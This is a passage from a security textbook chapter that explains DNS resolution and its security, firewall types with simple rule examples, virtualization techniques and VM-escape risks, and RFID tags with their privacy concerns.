that TLD. Below second-level domains are the third-level domains 
and so forth, with a maximum of 127 levels. Exhibit 1-10 shows how 

www.google.com mail.google.com

google.com yahoo.com live.com

.uk.net

.

.com

talk.google.com

2nd Level Domain

Top Level Domain

Root Domain

3rd Level Domain

Exhibit 1-10 The hierarchical structure of the domain name system (DNS).
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the hierarchical nature of the DNS leads to a tree-like structure con-
sisting of domains and subdomains.

Separating domains in this way allows different registries to man-
age the different TLDs. These registries are responsible for keeping 
the records for their assigned TLD and making infrastructure avail-
able to the Internet so users can map each domain name to its cor-
responding IP address.

The DNS uses computers known as name servers to map domain 
names to the corresponding IP addresses using a database of records. 
Rather than store information for every domain name in the system, 
each DNS server must only store the information for its domain. For 
instance, the name server gotgoogle.com keeps information for www.
google.com and mail.google.com but not for www.yahoo.com. Name 
servers are granted authority over a domain by the domain above 
them, in this case .com. When a name server has this authority, it 
aptly receives the title of authoritative name server for that domain.

The hierarchical nature that defines the DNS is also a key to the 
resolution process. Resolution is the process of mapping a domain to 
an IP address, and resolvers are the programs that perform this func-
tion. Due to the nature of the resolution process, resolvers fall into 
two categories: recursive and nonrecursive. Exhibit 1-11 shows the 
steps required for a resolver to complete this process. The first step in 
resolving www.google.com is contacting the root name server to find 
out which name server is authoritative for .com. Once the resolver has 
this information, it can query the .com name server for the address 
of the google.com name server. Finally, the resolver can query the 
google.com name server for the address of www.google.com and pass 
it on to a Web browser or other program.

Exhibit 1-11 depicts the most common way for systems to resolve 
domain names: by contacting a recursive DNS server and allowing it 
to do the work. A nonrecursive resolver (like the one used by a home 
PC) will only make a single request to a server, expecting the com-
plete answer back. Recursive resolvers follow the chain of domains, 
requesting the address of each name server as necessary until reaching 
the final answer. Using recursive DNS servers also makes the system 
much more efficient due to caching. Caching occurs when a DNS 
server already knows what the answer to a question is, so it does not 
need to look it up again before responding to the query. The addresses 
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of the root server and the .com server are usually cached due to the 
frequency with which systems request them.

The DNS stores information in Resource Records (RR). These 
records are separated by type, and each one stores different informa-
tion about a domain. RFC1035 defines the variety of different RR 
types and classes, including the most common types: A, NS, and 
MX.11 An A record maps a domain to an IP address. NS records pro-
vide the name of that domain’s authoritative name server. The NS 
record includes an additional section with the type A records for the 
name servers so the resolver can easily contact them. The MX records 
refer to mail exchange domains used to send e-mail over Simple Mail 
Transfer Protocol (SMTP). Like an NS record, MX records include an 
additional section to provide type A records to the domains included 
in the MX record. The following is an example of a query for the 
www.google.com A record and the resulting answer.

;; QUESTION SECTION:
;; NAME  CLASS  TYPE
;www.google.com.  IN  A
;; ANSWER SECTION:
;; NAME TTL CLASS TYPE DATA
www.google.com. 180 IN A  64.233.169.147

In the question section, the resolver has specified that it wants the 
A record for www.google.com in the Internet class (specified by IN). 
During the development of DNS, additional classes were created, but 
the Internet class is the only one commonly used today. The answer 
session includes the information from the question, the IP address for 
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Exhibit 1-11 Resolution of google.com using a recursive DNS server.
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the domain, and a time-to-live (TTL) value. The TTL specifies the 
number of seconds for which the data in the record are valid. This value 
is the key to the caching system described above; as without a TTL, the 
servers would not know how long any particular data could be cached.

1.1.5.1 Security and the DNS As a fundamental part of the modern 
Internet, the security of the DNS is important to all Internet users. In 
the previous discussion of how the DNS system works, it is important 
to note that no authentication of results ever occurred. This makes the 
system vulnerable to an attack known as DNS cache poisoning, wherein 
an attacker tricks a DNS server into accepting data from a nonauthori-
tative server and returns them to other resolvers. Extensions to the 
DNS protocol, known as DNSSEC, solve this problem using crypto-
graphic keys to sign RRs.12 While this system has not yet been widely 
adopted, VeriSign, the company responsible for management of the 
root domain, deployed DNSSEC for the root DNS servers on July 16, 
2010. This is an important step in the deployment of DNSSEC as it 
provides a single trust anchor that other domains can use to streamline 
deployment.16 Protection of credentials used to manage domains with 
registrars is also key to the security of the DNS. In December 2008, 
attackers gained access to the credentials that control many domains, 
including checkfree.com, and used them to install a banking Trojan 
on visitors’ systems. Legitimate use of DNS also has implications 
for security professionals. Fast-flux networks rely on very short DNS 
TTL values to change the IP address associated with a domain rapidly. 
Phishing attacks that employ domain names similar to those registered 
by financial institutions also employ the DNS. Attackers can exploit 
the length of a domain name to create phishing domains that mimic 
legitimate banking domains to steal information. Exhibit 1-12 shows 
a five-level domain of online.citibank.com.n5mc.cn that may appear to 
belong to CitiBank but is actually a subdomain of n5mc.cn.

Organizations that want to issue takedown requests for these 
domains need to understand how the DNS works so they can take the 
correct actions.

Exhibit 1-12 A long phishing domain appearing to belong to CitiBank.
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1.1.6 Firewalls

The Internet of today is in stark contrast to the close-knit group of 
research networks that made up the Internet forty years ago. As the 
Internet has grown, the need to protect networks and even individual 
computers has become a major concern. To this end, devices and soft-
ware that fall under the banner of “firewall” have become a necessity 
for any and all computers connected to the Internet that the user wants 
to remain safe. While the term firewall may conjure different images 
for different people, the basic concept of a firewall is simple: Keep the 
bad people out of our computer. In this section, explore the concept of 
firewalls, what they really do, and how they do it.

1.1.6.1 History Lesson The Internet turned forty years old in 2009, 
but the use of devices to separate one network from another, undesir-
able network, did not occur until the late 1980s.13 At the time, network 
administrators used network routers to prevent traffic from one network 
from interfering with the traffic of a neighboring network. Enhanced 
routers introduced in the 1990s included filtering rules. The designers 
of these routers designated the devices as security firewalls. The configu-
ration of these special routers prevents unnecessary or unwanted traffic 
from entering a company’s network boundaries. The routers used filter-
ing rules to determine which network traffic administrators considered 
good and which traffic they considered bad, but the use of router filtering 
rules was cumbersome to maintain as networks continued to evolve.

The next generation of security firewalls improved on these filter-
enabled routers. During the early 1990s, companies such as DEC, 
Check Point, and Bell Labs developed new features for firewalls. 
Check Point, for instance, eased the technical expertise requirements 
for configuring firewalls by providing user-friendly interfaces while 
at the same time providing administrators with new configuration 
options for refined rule sets.

1.1.6.2 What’s in a Name? The question remains: what exactly is a 
firewall? Firewalls are network devices or software that separates one 
trusted network from an untrusted network (e.g., the Internet) by means 
of rule-based filtering of network traffic as depicted in Exhibit 1-13. 
Despite the broad definition of a firewall, the specifics of what makes 
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up a firewall depend on the type of firewall. There are three basic types 
of firewall: packet-filtering firewalls, stateful firewalls, and application 
gateway firewalls. While each of these different firewall types performs 
the same basic operation of filtering undesirable traffic, they go about the 
task in different manners and at different levels of the network stack.14

While Exhibit 1-13 identifies the firewall as a separate physical device 
at the boundary between an untrusted and trusted network, in reality a 
firewall is merely software. This does not mean that physical, separate 
devices are not firewalls, but merely that these devices are simply com-
puters running firewall software. Host-based firewalls have found their 
way into most operating systems. Windows XP and later versions have 
a built-in firewall called the Windows Firewall.15 Linux- and Unix-
based computers use ipchains16 or iptables17 (depending on the age and 
type of the operating system [OS]) to perform firewall functionality; 
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Exhibit 1-13 A basic firewalled network.
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therefore, it is important to understand that firewalls can exist at differ-
ent locations within a network, not just at the perimeter of a network.

1.1.6.3 Packet-Filtering Firewalls The most rudimentary of firewalls 
is the packet-filtering firewall. Packet-filtering firewalls work at the 
IP level of the network. Most routers integrate this type of firewall to 
perform basic filtering of packets based on an IP address. The principle 
behind packet-filtering firewalls is that the firewall bases the decision 
to allow a packet from one network into another network solely on the 
IP address of the source and destination of the packet. For instance, if 
the firewall administrator defines the following packet-filtering rules, 
and if a packet from host 1.1.1.1 is destined for host 2.2.2.2, the fire-
wall allows the packet to pass.

ALLOW host 1.1.1.1 to host 2.2.2.2
DENY ALL

On the other hand, if the packet originated from 2.2.2.2 with a 
destination of 3.3.3.3, the firewall would stop the packet from travers-
ing the network any further due to the DENY ALL rule. Generally, 
firewalls contain an implied DENY ALL rule. If the administrator 
fails to include the DENY ALL rule, the firewall, after exhausting all 
of the rules in the filter set, will default to the DENY ALL rule and 
deny the traffic, since it did not match any defined rule.

Packet-filtering firewalls can also expand on the basic principle 
of IP-address-only filtering by looking at the Transmission Control 
Protocol (TCP) or User Diagram Protocol (UDP) source and destina-
tion ports. In this mode, the firewall operates in nearly the same fashion 
as the packet-filtering firewalls operating on the IP address. For a packet 
to pass through the firewall, the source IP and port and the destination 
IP and port must match at least one rule in the filter list. More advanced 
routers and even some higher-end switches offer this functionality.

To limit the exposure of a system to only necessary ports, adminis-
trators use port filtering. For example, a collocated Web server (a server 
hosted by a third party) will typically open HTTP and HTTPS ports 
for a customer’s server to the Internet, but the administrator will restrict 
the secure shell (SSH) port on the firewall to only allow connections 
from the hosting company’s network. This technique combines the 
use of IP and port filtering to allow administration of resources from 
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specific networks (e.g., the company’s network or trusted third-party 
networks) while allowing public services (e.g., HTTP) the necessary 
Internet exposure.

It is worth pointing out a common design feature of firewalls: the 
rule set’s priority. The majority of (if not all) firewalls will use the first 
rule that exactly matches the conditions of the packet under observa-
tion. This means that in the previous example, the first rule matched 
the packet originating from 1.1.1.1 destined for 2.2.2.2 and the fire-
wall did not continue to apply the remaining rules. Similarly, for the 
packet originating from 2.2.2.2 destined for 3.3.3.3, the last rule, 
DENY ALL, matched, which resulted in the firewall dropping the 
packet. This behavior leads to an interesting optimization problem for 
firewall administrators. To reduce network delay introduced by the 
firewall, administrators will typically move the most likely packet-
filtering rule to the top of the list, but in doing so, they must ensure 
that the rule does not negate another rule further down the list. An 
example of such an optimization in which the administrator errone-
ously organized the packet filter list would be

ALLOW host 1.1.1.1 to host 2.2.2.2
DENY ALL
ALLOW host 3.3.3.3 to 1.1.1.1

In this example, the firewall administrator has placed an ALLOW 
rule after the DENY ALL rule. This situation would prevent the pro-
cessing of the last ALLOW rule.

1.1.6.4 Stateful Firewalls Simple packet-filtering firewalls suffer from 
one significant downside: they do not take into consideration the state 
of a connection, only the endpoints of the connection. Stateful firewalls 
allow only properly established connections to traverse the firewall’s 
borders. While packet filtering is still a key element of these firewalls, 
the firewall also pays attention to the state of the connection.

Once the firewall allows a successful connection between two hosts 
using the three-way TCP handshake,18 the firewall records the occur-
rence of a valid session between the two hosts. If an attacker attempts 
to generate an invalid session, such as by sending an ACK (acknowl-
edgment) prior to sending a SYN (synchronize), the firewall identifies 
the packet as an invalid state and subsequently blocks the connection. 
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After a host establishes a valid session, however, communication 
between the two hosts can occur unrestricted and without requiring 
the firewall to rerun the list of packet filters.

It is the ability to determine the order and state of a communication 
session that allows stateful firewalls to make faster determinations 
about incoming packets. Of course, it is important that these firewalls 
do not run out of memory from storing the state of stale connections. 
To avoid this problem, stateful firewalls will purge state information 
for sessions that have “gone quiet” for a significantly long period. Once 
a session has expired, the next packet originating from either host will 
result in the firewall verifying the packet against packet-filtering rules 
and the establishment of a new session.

1.1.6.5 Application Gateway Firewalls Application gateway firewalls, 
also known as proxies, are the most recent addition to the firewall fam-
ily. These firewalls work in a similar manner to the stateful firewalls, 
but instead of only understanding the state of a TCP connection, these 
firewalls understand the protocol associated with a particular applica-
tion or set of applications. A classic example of an application gate-
way firewall is a Web proxy or e-mail-filtering proxy. A Web proxy, 
for instance, understands the proper HTTP protocol and will prevent 
an improperly constructed request from passing. Likewise, an e-mail-
filtering proxy will prevent certain e-mails from passing based on pre-
defined conditions or heuristics (for example, if the e-mail is spam).

These proxies also prevent unknown protocols from passing through. 
For example, a properly configured HTTP proxy will not understand 
an SSH connection and will prevent the establishment of the connec-
tion (see Exhibit 1-14). This level of packet inspection cannot occur 
with either a packet-filtering or stateful firewall, as neither firewall 
type looks at the application layer of the network stack. By identifying 
improperly constructed packets for a given protocol, the application 
gateway firewalls may prevent some types of protocol-specific attacks; 
however, if a particular protocol’s definition allows for such a vulner-
ability, the gateway will provide no protection.

1.1.6.6 Conclusions Firewalls come in a variety of forms, from simple 
packet filtering to the more complex proxy. The topic of firewalls 
is complex and extremely well documented. Authors from the IT 
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security community have dedicated entire books to the subject of 
designing, administering, and implementing firewalls. To understand 
the importance of firewalls, the minute details of their operation can 
be avoided, but it is critical to understand the high-level concepts of 
their operation. Understanding the basics of how firewalls process 
traffic and how that processing prevents unwanted intrusions is the 
key to understanding the security of firewalls.

Like antivirus solutions, the impression that firewalls will stop all 
evils of the Internet is overstated at best. Firewalls provide a single 
layer of defense in the larger scheme of defense in depth. While fire-
walls can reduce the attack surface of a server by blocking unnecessary 
ports from the Internet at large, firewalls cannot protect resources 
that are vulnerable to specific vulnerabilities such as buffer overflows 
and privilege escalation attacks.

1.1.7 Virtualization

Technology has advanced to the point that server consolidation through 
virtualization can help tame the cost of infrastructure deployment and 
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Exhibit 1-14 An application gateway filtering known and unknown protocols.
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operation by reducing the number of servers required to perform the 
same level of operational standards, given that enterprises typically 
underutilize the full capacity available in physical servers. This section 
explores the history, concepts, and technologies of virtualization.

1.1.7.1 In the Beginning, There Was Blue  … Infrastructure resources 
such as servers are expensive. This expense comes from the cost of the 
physical hardware, the cost associated with supplying power to the 
servers, the cost to cool and maintain the proper operating environ-
ment for the servers, and the cost of administering the servers. For 
large infrastructures with deployments of tens to tens of thousands of 
servers, the cost of running these servers can quickly balloon, result-
ing in extremely high operational costs. To alleviate some of these 
administrative costs, organizations are turning to virtualization.

Virtualization at its most fundamental level is the simulation or 
emulation of a real product inside a virtual environment. Recent 
efforts by many companies to capitalize on the wave of cloud comput-
ing have given the term new importance in the IT and business com-
munities, but the term virtualization is older than most realize. In the 
1960s, researchers at the IBM Thomas J. Watson Research Center in 
Yorktown, New York, created the M44/44X Project. The M44/44X 
Project consisted of a single IBM 7044 (M44) mainframe that simu-
lated multiple 7044s (44X). The M44/44X Project was the first to use 
the term virtual machine (VM) to describe simulating or emulating a 
computer inside another computer using hardware and software.

For decades, the use of virtual machines inside mainframes has been 
common practice. The use of these virtual machines gives mainframes 
the ability to act not as a single machine but as multiple machines 
acting simultaneously. Each virtual machine is capable of running its 
operating system independent of the other virtual machines running 
on the same physical machine. In this sense, the mainframe effec-
tively turns one machine into multiple machines. Mainframes only 
represent the beginning of the virtualization technology and are by 
no means the only systems that provide the service.

1.1.7.2 The Virtualization Menu Virtualization comes in many forms 
such as platform and application virtualization. The most recognized 
form of virtualization is platform virtualization and is the method 
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of virtualization detailed in this section. Platform virtualization is a 
broad category that contains several variations on a theme. The most 
predominant platform virtualization techniques19 include full virtu-
alization, hardware-assisted virtualization, paravirtualization, and 
operating system virtualization. Each of these techniques accom-
plishes the task of virtualization in different ways, but each results 
in a single machine performing the function of multiple machines 
working at the same time.

With the exception of operating system virtualization, the high-level 
representation of a virtual machine is largely consistent amongst the 
various virtualization techniques. Each technique, to varying degrees, 
presents a virtual hardware platform on which a user can deploy an 
operating system. Unlike emulation systems explained later in this 
section, virtualization systems require that the virtual machine match 
the basic architecture of the host machine (the machine running the 
virtual machines). This means that a standard x86 host is incapable 
of hosting a virtual PowerPC-based system (such as the older Apple 
Macintosh systems). The distinction between the different virtualiza-
tion techniques exists due to the way the virtual machine applica-
tion, commonly referred to as the virtual machine monitor (VMM) or 
hypervisor, partitions the physical hardware and presents this hard-
ware to virtual machines.

Virtualization systems consist of several key components: a VMM, 
physical hardware, virtual hardware, virtual operating systems, and a 
host (or real) operating system. Exhibit 1-15 illustrates the relation-
ship of these components. The key component, the component that 
makes virtualization possible, is the VMM.
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Exhibit 1-15 The relationship between virtual machines and a host machine.
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The VMM is the application layer between the various virtual 
machines and the underlying physical hardware. The VMM provides 
the framework for the virtual machine by creating the necessary vir-
tual components. These components include, but are not limited to, 
hardware devices like network interface cards (NICs), sound cards, 
keyboard and mouse interfaces, a basic input–output system (BIOS), 
and virtual processors. It is the responsibility of the VMM to mate 
the needs of the virtual machine with the available physical resources. 
The manner in which the VMM handles these needs dictates the type 
of virtualization technique employed.

1.1.7.3 Full Virtualization Full virtualization, as the name implies, 
strives to provide the most realistic, completely accurate virtual rep-
resentation of the real hardware. For x86-based architecture, this is 
problematic. The x86 family of processors offers different levels of 
privilege to running code. Known as rings, these levels of protection 
are in place to prevent lower privileged code, such as that found in a 
standard application, from interfering or corrupting higher privileged 
code such as the kernel of the operating system.

The most privileged code level, known as ring-0, typically houses 
the kernel, or core, of the computer’s operating system. Code that 
executes in ring-0 can manipulate the most sensitive components of 
the computer freely. This ability is required for operating systems to 
manage memory, allocate time slices to particular processes (used for 
multitasking), and monitor and maintain input–output (I/O) opera-
tions like hard drive and network activity. When a VMM uses full 
virtualization, the VMM attempts to execute code in the virtual 
machine in the exact manner a physical machine would. The VMM 
must ensure that while faithfully executing the VM’s code, the VM’s 
code does not interfere with the host machine or other VMs.

To make virtualization faster and more efficient, virtual machine 
applications such as VMware utilize the host machine’s processor to 
execute instructions requested by the virtual machine. For example, 
if the virtual machine requests to move memory from one location to 
another location, the VMM would execute the instructions natively 
on the host machine and post the result to the virtual machine. This 
requires significantly less processor time and fewer resources than 
emulating the CPU, resulting in a faster virtual machine.
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The problem that many in the virtualization sector faced was the 
way certain x86 ring-0 instructions operate. Based on its architec-
ture, the x86 cannot virtualize several of its instructions without 
encountering unknown or undesired effects. To avoid this hurdle, 
the VMware family of virtual machine applications runs the virtual 
machine in a less privileged ring (such as ring-3 or -1) while placing 
the VMM in ring-0. When the virtual machine’s operating system, 
for instance, attempts to execute a ring-0 command, an exception 
occurs that the CPU gives to the handler in ring-0. With the VMM 
residing in ring-0, the VMM can translate the offending instruc-
tion into a series of virtual machine operations that produce the same 
result without requiring the host machine to execute an instruction 
that would produce instability. VMware refers to this technique as 
binary translation.

1.1.7.4 Getting a Helping Hand from the Processor As the virtualiza-
tion technology has matured from a software perspective, the hard-
ware manufacturers have begun to show interest in the field, which 
opens the door for hardware-assisted virtualization. Recently, Intel 
and AMD released newer x86-based processors that incorporate fea-
tures known as processor extensions to aid virtualization. The processor 
extensions give Intel’s Virtualization Technology (VT)20 and AMD’s 
AMD-V21 chip-level solutions to the issue of privileged x86 instruc-
tions that the VMM cannot virtualize. These technologies provide an 
even more privileged layer than ring-0 in which the VMM resides.

With hardware-assisted virtualization, the VMM operates in a 
new root mode privilege level—a level below ring-0. The processor 
extensions allow the VMM to operate in this sub-ring-0 privilege 
level while allowing the virtual machine’s operating system access 
to the privileged ring-0. When the virtual machine’s operating sys-
tem executes an instruction that would cause instability in the host 
machine’s operating system, the hardware passes the request to the 
VMM, which resides in a separate processor space by virtue of the 
processor extensions in order to handle the offending instruction. 
This allows the virtual machine’s operating system to run largely 
unobstructed (thus reducing overhead). At the same time, the host 
processor ensures that the virtual machine’s operating system does 
not impede the host operating system since the VMM will handle 
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conditions that would cause instability between the two competing 
operating systems.

Hardware-assisted virtualization is an extension of full virtualiza-
tion. Like full virtualization, hardware-assisted virtualization pro-
vides the virtual machine with a completely virtual hardware system. 
The advantage of hardware-assisted virtualization is the possibility 
that with a suitably designed system, the CPU can more efficiently 
handle instructions generated from the guest operating system that 
would otherwise cause instability.

1.1.7.5 If All Else Fails, Break It to Fix It Developed prior to the intro-
duction of hardware-assisted virtualization technologies in the x86 
architecture, paravirtualization provides a solution to the nonvirtual-
izable instruction problem present in the x86 processors. Unlike full 
virtualization, which runs the virtual machine’s operating system in a 
ring with less privilege than ring-0, paravirtualization allows the vir-
tual machine’s operating system to run in ring-0 after modifying the 
system to restrict the dangerous x86 instructions. Paravirtualization 
breaks instructions that would otherwise cause instability in the host 
machine and replaces these instructions with calls to the VMM to 
allow the VMM to handle the instructions using the appropriate 
actions. The result is a virtual machine’s operating system and appli-
cations running in the rings that the developers originally intended, 
but at the cost of modifying the kernel of the virtual machine’s oper-
ating system.

The obvious disadvantage of paravirtualization is the required 
modification to the virtual machine’s operating system. For closed-
source operating systems, it is difficult to modify the kernel fully to 
meet the requirements of paravirtualization. Most paravirtualiza-
tion-based virtual machines run modified Linux operating systems. 
An example of a paravirtualization system is the open-source Xen22 
application for the Linux operating system. Commercial applica-
tions such as VMware support the paravirtualization mode, but the 
choice of the virtual machine’s operating system limits the useful-
ness of paravirtualization.23

1.1.7.6 Use What You Have Operating system-assisted virtualiza-
tion differs dramatically from the underlying concept that ties full 
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virtualization, paravirtualization, and hardware-assisted virtualiza-
tion together. Instead of providing a realistic virtualized machine 
complete with dedicated I/O, memory, and processors, operating 
system-assisted virtualization provides an application with the illu-
sion of a dedicated operating system. This virtualization technique is 
common on Linux- and Unix-based systems via chroot,24 FreeVPS,25 
FreeBSD Jail,26 and others.

Whereas the other virtualization techniques provide a virtual 
machine capable of supporting ring-0 instructions, operating system-
assisted virtualization provides only user mode resources. This means 
that the virtual environment is unable to run privileged instructions, 
which require ring-0. This type of system allows a single operat-
ing system instance to run multiple applications in isolation while 
still providing them with the necessary operating system resources 
such as disk and network access. Exhibit 1-16 depicts this form of 
virtualization.

1.1.7.7 Doing It the Hard Way Emulators operate on the same basic 
principles as virtualization systems except that the requirement that 
the host machine must match the same basic architecture as the 
virtual machine does not limit emulators. Emulators, as the name 
implies, emulate all aspects of the virtual machine’s hardware. While 
virtualization systems will offload the execution of a virtual machine’s 
operating systems or applications to the host machine’s processor, 
emulators do not. Emulation systems translate the virtual machine’s 
instructions into instructions that can run on the host machine.
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Exhibit 1-16 Operating system-assisted virtualization.
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The CPU of a virtual machine inside an emulator can be radically 
different from the host machine’s CPU. For instance, emulators exist 
that allow x86 architectures to run virtual machines that emulate older 
Apple Macintosh operating systems.27 The power of emulators to run 
radically different architectures than the host machine’s architecture 
comes at a price. For every CPU instruction that a virtual machine’s 
CPU executes, the host machine must translate the instruction into a 
series of instructions that the host machine’s CPU can execute. This 
constant translation of CPU instructions from the virtual CPU to the 
host CPU can result in a significant amount of overhead. The over-
head, of course, results in a significant performance penalty.

Emulators are not strictly for dissimilar architectures. Emulators 
can run virtual machines of the same architecture as the host 
machine. VMware, if specifically configured to do so, can emulate 
the x86 architecture including the CPU within a virtual machine. 
The advantage of this behavior is to provide an even more realistic 
virtual environment that does not rely on the translation of certain 
ring-0 instructions.

1.1.7.8 Biting the Hand That Feeds Virtualization of infrastructure 
resources may reduce the number of physical servers required; at 
the same time, it is important to understand that virtualization may 
introduce risks. While many virtualization systems attempt to provide 
rigid boundaries between the host system and the virtual machines 
running on the host system, the possibility exists that malicious actors 
may attempt to breach the boundaries. As virtualization systems have 
gained popularity, attackers have begun focusing on the weaknesses 
within these systems.

Regardless of the virtualization method, the fact remains that the 
virtual machine’s operating system and its associated applications run 
on the host system at some point in time. When the VMM gives the 
virtual machine access to physical resources such as video devices, 
the possibility exists for the separation between the virtual and host 
machine to crumble. In 2009, researchers from Immunity released a 
presentation28 at Black Hat 2009 in which they demonstrated that 
from within a virtual machine, an attacker could gain access to the 
host machine’s memory. Similarly, in 2009, researchers at Core Labs29 
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released an advisory describing a method for accessing the host oper-
ating system from within a virtual machine.

Virtualization systems are complex systems and, as such, are prone 
to vulnerabilities. A vulnerability in an operating system or an appli-
cation may lead to the compromise of a single server within an infra-
structure. When that vulnerable operating system or application is 
running within a virtual machine that is itself vulnerable, the effects 
of a single compromise can amplify across all other virtual machines 
within the same physical machine. Moreover, since cloud computing 
heavily relies on virtualization, this class of vulnerability can affect 
not only a single enterprise but also any enterprise that operates within 
the same virtual infrastructure. Therefore, it is important to under-
stand that separating sensitive virtual machines (i.e., VMs that han-
dle personally identifiable information) from public virtual machines 
(i.e., VMs that run a company’s public Web server or mail server) can 
reduce the impact associated with the VM boundary vulnerability.

1.1.7.9 Conclusion Virtualization has many advantages ranging from 
server consolidation to program isolation. While the technology has 
been available in some form for decades, advancements in modern 
computing hardware have led to a more widespread adaptation of the 
technology. Even at its current level of development, virtualization is 
already making major inroads into the IT community. Virtualization 
is a key component of the recent influx of new cloud-computing tech-
nologies currently on the market. The growth of the virtualization 
market is far from reaching its peak.

Before deploying a large virtualized infrastructure, it is important to 
understand the risks associated with virtualization. When the bound-
ary between a virtual machine and a host machine becomes transpar-
ent (through vulnerabilities), the risk of significant data exposure and 
system compromise increases dramatically. Classifying the data and 
types of virtual machines that run on the same physical machine can 
reduce this exposure.

1.1.8 Radio-Frequency Identification

At the 20XX DEFCON conference, Chris Paget of H4RDW4RE 
LLC presented his talk on debunking the myths around radio-
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frequency identification (RFID). While many organizations use these 
devices for authentication, they often are not aware of how the tech-
nology works or how secure it is. In this section, RFID and the secu-
rity and privacy concerns around the technology are explained.

The term RFID does not describe one particular technology, but 
a group of technologies used for the purposes of identification using 
radio waves. RFID devices, commonly referred to as tags, are com-
monplace in everyday life. To name just a few of their many uses, the 
devices enable electronic tollbooths, inventory tracking, and authen-
tication systems. RFID has been the source of much controversy in 
the last decade as security and privacy concerns began to emerge. 
Depending on the way people use RFID tags and the security mea-
sures deployed to protect them, these concerns range from minor 
to severe. To understand the security concerns of RFID, it is first 
important to understand how they operate. In RFID communication, 
there are two actors: the interrogator (reader) and the device (tag). 
The reader is a device, typically connected to a computer, capable of 
receiving and interpreting data from an RFID tag. The tag is a device 
varying in complexity that sends back the specific identification infor-
mation unique to the tag. Some tags simply emit the same information 
each time the reader interrogates them, and others include processing 
systems capable of complex cryptographic operations.

There are three primary types of RFID tags when categorized by 
power sources. These types include passive, battery-assisted passive, 
and active. Both types of passive tags activate when they receive a 
signal from the reader. Passive tags that operate without any battery 
power use the power in the signal sent by the reader to power them 
and send back their responses. Battery-assisted passive tags activate 
after the reader sends a signal, but use battery power to construct 
and send their responses. Because passive tags only use the power 
they can scavenge from the reader’s signal, they have limited ranges 
compared to battery-assisted devices. The third type of RFID device 
is an active tag. Unlike their passive cousins, active tags can transmit 
signals without activation by a reader.

1.1.8.1 Identify What? The data that an RFID tag contains vary 
depending on its application. The simplest and most common RFID 
tag is the electronic product code (EPC). EPCs are the RFID 
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equivalent of the bar code, and replacing barcodes is their primary 
function. EPC tags are passive RFID tags, and organizations fre-
quently integrate them into stickers. EPCs contain information simi-
lar to that found on Universal Product Codes (UPC) but can store 
much more information. The data stored in a typical EPC is a 96-bit 
number using the specification shown in Exhibit 1-17. The data stored 
in an EPC is merely this number, which has no value without the 
ability to decode its meaning. For product tags, this number repre-
sents the product’s manufacturer, type, and serial number.

While UPC codes can store enough information to enumerate all 
types of products, such as a pack of paper towels, EPC codes include 
an additional 36 bytes of data, allowing for the use of more than 600 
billion unique serial numbers. Rather than identifying a general prod-
uct type, such as a pack of paper towels, RFIDs can identify a specific 
pack of paper towels. An organization can place EPCs on any product 
or group of products that it would like to track. In 2005, Wal-Mart 
Stores, Inc. mandated that all of its suppliers must tag shipments with 
RFID tags. Libraries have also begun to use EPC tags to expedite 
book check-ins and check-outs.

Organizations and governments are using RFID tags to identify 
much more than common household products. Many organizations 
deploy RFID-equipped ID cards (commonly known as proxy cards, 
or proximity cards) that grant access to buildings and systems. In this 

Shipping
Unit

Procter &
Gamble

Bounty ® Paper
Towels 15 Pack

Unique Serial Number
for Item

Unique Serial
Number

Item ReferenceCompany
Prefix

Filter

EPC example – 96-bit SGTIN tag

HEX representation from reader 30700048440663802E185523
Binary 0011000001110000000000000100100001000100000001100110010000000000000101110000110000101010100100011
URI representation after decoding urn:epc:tag:sgtin-96:3.0037000.06542.773346595

7733465950654200370003

Exhibit 1-17 An example electronic product code (EPC). Source: http://assets.devx.com/arti-
clefigs/16814.jpg.
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case, the number returned by the card corresponds to information 
about a specific individual stored in a database. If the card readers 
receive 0001 from John Doe’s card, the security system can look up 
this record in its database of users and allow or deny access to the 
secured area. Identifying people and authorizing access based on 
RFID tags are fundamentally different uses of the technology com-
pared to merely identifying products.

Obviously, there is no practical value in copying or cloning an EPC 
tag attached to a bag of potato chips, but copying an RFID access 
card can be quite valuable. If an access card worked like an EPC tag, 
it would always return the same 96-bit number. Anyone who could 
read the card could easily duplicate it and gain access to a building. To 
prevent this, another class of RFID tag, known as the contactless smart 
card (CSC), is much more complex than an EPC.

Similar to traditional smart cards, CSCs have the ability to store 
and process information. Rather than simply responding to each 
interrogation with the same number, CSCs use cryptography to hide 
their information and sometimes confirm the identity of the reader 
before divulging sensitive information.

Examples of CSC products are contactless credit cards issued by 
VISA, MasterCard, and American Express (see Exhibit 1-18); most 
access control badges; and the new U.S. electronic passport. The secu-
rity of these devices is incredibly important, because cloning or tam-
pering with them could allow an attacker to steal the owner’s money 
or identity without ever coming into contact with the owner.

1.1.8.2 Security and Privacy Concerns The implementation of RFID 
security measures and the privacy concerns that wireless identity tags 

Exhibit 1-18 An American Express card with CSC functionality.
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present are the subjects of much controversy. In 2005, researchers at 
Johns Hopkins University, led by Dr. Avi Rubin, broke the encryption 
used by millions of RFID-enhanced car keys and Exxon’s Speedpass 
RFID payment system.30 These RFID-enhanced car keys use RFID 
technology as a lock-picking prevention mechanism. If the proper 
RFID tag is not in proximity of the reader when a user turns the 
key in the ignition, the car will not start. Speedpass allows Exxon 
customers to link a credit card to their keychain tokens to make pur-
chases from Exxon gas stations. Rubin’s team discovered that both of 
these devices only use 64-bit encryption to protect the tags. While 
this encryption may have been sufficiently complex to prevent brute 
force attacks when manufacturers introduced the system in 1993, this 
level of protection is no longer sufficient.

At DEFCON 17, Chris Paget, a security researcher with 
H4RDW4RE LLC, presented his talk on RFID myth busting. In 
his talk, Paget debunked the myth that readers can only interrogate 
RFID tags at short ranges. One ID card Paget has researched is the 
U.S. enhanced driver’s license (EDL). EDLs contain RFID tags and 
act as passports for passage between the United States and its border-
ing countries. These cards can easily be read at distances of more than 
twenty feet and contain no encryption at all. Earlier this year, Paget 
posted a YouTube video in which he demonstrated collecting EDL 
information from victims without them ever being aware of his pres-
ence.31 To target a specific group, the attacker could build an antenna 
into a doorframe and collect the ID of each person who entered the 
room. Because of these cards’ lack of encryption, attackers can easily 
clone them to steal victims’ IDs without their knowledge.

Beyond the security concerns of identity and data theft, RFID tags 
also have ramifications for personal privacy. Because attackers can read 
the tags at a distance, they can read them without the user’s knowl-
edge. Even tags that do not contain any identifying information may 
identify a specific person when grouped with additional information.

Imagine that every shoe made contained an RFID tag that the man-
ufacturer could use to track inventory. This RFID tag alone is not a 
significant privacy concern, but if a person buys this shoe with a credit 
card, that specific RFID tag would then link to the buyer’s name in a 
retailer’s database. The retailer could then scan every user entering the 
store to see if the shopper was wearing any clothing associated with a 
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specific customer. The retailer could use this to display targeted adver-
